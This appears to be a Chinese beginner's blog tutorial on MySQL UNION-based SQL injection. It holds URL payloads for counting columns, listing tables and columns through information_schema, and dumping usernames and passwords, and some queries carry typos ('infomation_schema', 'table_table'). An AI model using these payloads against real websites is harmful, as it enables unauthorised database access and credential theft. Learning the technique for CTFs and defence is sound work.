sql注入入门学习

MySQl注入的一般流程:

获取字段数-查库名-查表名-查列名-查数据

一、基础知识点

主要是帮助看懂,大佬写的writeup滴!

1.获取字段数:order by 临界值
2.获取库名:database()
表名和列名没有内置函数 怎么查?

  • union语句:将不同表的两个列查询的数据去重拼接
  • union all :不去重

3.获取MySQL版本:version()
MySQL5.0以下版本只能和access数据库一样猜解
而MySQL5.0以上版本内置了information_schema库,存储了所有的数据库名、表名、列名

  • information_schema.tables 记录表名信息
  • information_schema.columns 记录列名信息
  • TABLE_SCHEMA 数据库字段
  • table_name 表名
  • column_name 列名

4.查表名:
SELECT table_name FROM information_schema.tables where TABLE_SCHEMA=database();
5.查列名:
SELECT column_name FROM information_schema.columns where TABLE_name=‘users’;
6.查数据:
select 列名 from 库名.表名

二、分类

分类的方式有很多,根据sql参数的类型可分为字符型和数字型。

根据传参的不同可分为:

    get型,较为常见的一个类型,php通过$_GET[]获得参数

    post型,类比与get型,通过$_POST[]获得sql参数

    cookie型,$_COOKIE[]

    http型,利用$_SERVER[]获取传入的http头部信息,处理之后传入sql语句拼接。

三、实例

一般先判断注入是数字型注入或者是字符型注入

?id=1+1

如果成功返回数据则为数字型注入,如果在url后拼接?id=1 and 1=1orand 1=2分别正确错误则说明为字符型注入

数字型:流程

首先查字段
url?id = 1 order by 3 不报错
url?id = 1 order by 4 报错
所以有三个字段
接下来使用联合查询:url?id = 1 union select 1,2,3

查当前数据库名,版本,用户

url?id = 1 union select database(),version(),user()

查询有什么表

url?id = 1 union select 1,2,table_name 
from infomation_schema.tables where table_schema = database()

查询列名:

url?id = 1 union select 1,2,column_name 
from infomation_schema.columns where table_table = 'users'

查询数据:

url?id = 1 union select id,username,password from users

一些小的知识点

  • %20   是空格的URL编码。服务器收到请求后会自动进行URL解码。
  • "limit 1,1" 参数,是一个条件限定,作用是取查询结果第一条记录后的第一条记录。

  LIMIT m,n : 表示从第m+1条开始,取n条数据;

注:n可以被设置为-1,当n为-1时,表示从m+1行开始检索,直到取出最后一条数据。
   LIMIT n : 表示从第1条开始,取n条数据,是limit(0,n)的缩写。

    select * from Customer limit 10;--检索前10行数据,显示1-10条数据
    select * from Customer limit 1,10;--检索从第2行开始,累加10条id记录,共显示id为2....11
    select * from Customer limit 5,10;--检索从第6行开始向前加10条数据,共显示id为6,7....15
    select * from Customer limit 6,10;--检索从第7行开始向前加10条记录,显示id为7,8...16

 

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值